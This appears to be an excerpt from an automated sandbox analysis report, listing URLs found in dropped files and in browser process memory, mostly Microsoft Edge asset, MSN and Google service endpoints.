Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.10.dr, d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.10.dr, d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log6.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.10.dr, d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.10.dr, d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.10.dr, d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.10.dr, d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 000003.log6.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_466.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_466.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_466.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_466.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://gaana.com/
Source: chrome.exe, 00000003.00000003.2348573046.0000387400684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2394372474.00004BF801A68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.2348361286.000038740039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2348177004.0000387400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000003.00000003.2394372474.00004BF801A68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/K
Source: chrome.exe, 00000003.00000003.2348573046.0000387400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/gjt8
Source: chrome.exe, 00000003.00000003.2348573046.0000387400684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2394372474.00004BF801A68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.2348361286.000038740039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2348177004.0000387400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000003.00000003.2348573046.0000387400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/8ti
Source: chrome.exe, 00000003.00000003.2348573046.0000387400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 00000003.00000003.2348573046.0000387400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 00000003.00000003.2348789782.00003874006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2394777716.00004BF801A78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2394685497.00004BF801A70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2394372474.00004BF801A68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000003.00000003.2348361286.000038740039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2348177004.0000387400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/bJ
Source: msedge.exe, 00000007.00000002.2557374329.000055D400394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: CBGCBGCAFIIECBFIDHIJ.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000003.00000003.2388665422.00004BF800F94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/
Source: chrome.exe, 00000003.00000003.2348177004.0000387400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000003.00000003.2393372842.00004BF8019A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000003.00000003.2348361286.000038740039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2348177004.0000387400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000003.00000003.2393372842.00004BF8019A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardK
Source: chrome.exe, 00000003.00000003.2348361286.000038740039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2348177004.0000387400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000003.00000003.2348177004.0000387400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000003.2389085687.00004BF801434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389162580.00004BF80143C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2388974444.00004BF80137C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389249895.00004BF801444000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2390667726.00004BF801470000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2390471248.00004BF80137C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2388482398.00004BF80137C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2390567441.00004BF801398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000003.00000003.2368785252.00004BF8010F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368683920.00004BF8003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368879816.00004BF801224000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000003.00000003.2368785252.00004BF8010F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368683920.00004BF8003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368879816.00004BF801224000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000003.00000003.2348789782.00003874006E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000003.00000003.2348177004.0000387400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://m.kugou.com/
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://m.soundcloud.com/
Source: chrome.exe, 00000003.00000003.2388665422.00004BF800F94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab
Source: chrome.exe, 00000003.00000003.2389085687.00004BF801434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389162580.00004BF80143C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2388974444.00004BF80137C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389249895.00004BF801444000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2390667726.00004BF801470000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2390471248.00004BF80137C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2388482398.00004BF80137C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2390567441.00004BF801398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: msedge.exe, 00000007.00000002.2557374329.000055D400394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 00000007.00000002.2557374329.000055D400394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXIDv10
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://music.amazon.com
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://music.apple.com
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://music.yandex.com
Source: chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000003.00000003.2364999108.00004BF800FD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log3.10.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.10.dr, 000003.log.10.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.10.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.10.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log9.10.dr, 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13375470333801491.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.10.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: msedge.exe, 00000007.00000002.2557374329.000055D400394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: chrome.exe, 00000003.00000003.2390358540.00004BF8013B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000003.00000003.2392437195.00004BF8002AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000003.00000003.2390358540.00004BF8013B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
